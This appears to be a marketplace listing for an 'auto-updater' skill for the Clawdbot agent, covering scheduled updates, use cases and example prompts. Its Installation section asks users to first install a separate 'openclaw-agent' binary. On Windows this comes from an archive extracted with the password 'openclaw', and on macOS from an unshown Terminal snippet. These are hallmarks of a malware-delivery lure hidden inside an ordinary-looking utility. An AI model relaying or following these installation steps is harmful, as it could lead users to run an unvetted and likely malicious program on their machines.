Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-p5rmtWhat This Skill Does
The auto-updater skill is a critical utility designed to keep your Clawdbot environment and its ecosystem of skills running the latest versions without manual intervention. By leveraging the openclaw-agent background process, this skill automates the tedious maintenance tasks of checking for patches, updates, and compatibility fixes. It runs on a customizable cron schedule, typically configured for off-peak hours, ensuring your bot is always prepared for daily tasks with the latest features and security patches. The process encompasses both the core Clawdbot binary and every installed third-party skill managed by clawdhub. After completion, it provides a clean, formatted report detailing exactly what changed, what remains current, and any potential issues encountered during the update cycle.
Installation
Before enabling the skill, you must install the openclaw-agent utility. For Windows, download the official release and extract it using the password 'openclaw'. For macOS, use the provided installation snippet in your Terminal. Once the agent is active, install the skill via the command: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-p5rmt. Once installed, you can configure the automated schedule by asking Clawdbot to set up daily updates or by manually configuring a cron job using the clawdbot cron add command with your preferred timezone and timing.
Use Cases
This skill is perfect for power users who want a 'set-and-forget' experience. It is ideal for production environments where consistency is key, as it prevents skill drift and ensures that API changes in underlying modules are resolved automatically. It is also useful for developers who maintain multiple skills, as it provides a centralized dashboard view of versions across the entire local installation.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills."
- "Update my skills right now and tell me if anything changed."
- "Show me the current versions of all installed skills to see if I need to update manually."
Tips & Limitations
Always ensure the openclaw-agent is running, as updates will fail silently without it. If you have custom modifications to source files, keep in mind that automated updates may overwrite your changes, so use version control if you modify core skill code. Always check the summary message for errors; if a migration fails, you may need to run 'clawdbot doctor' manually to rectify state-related issues.
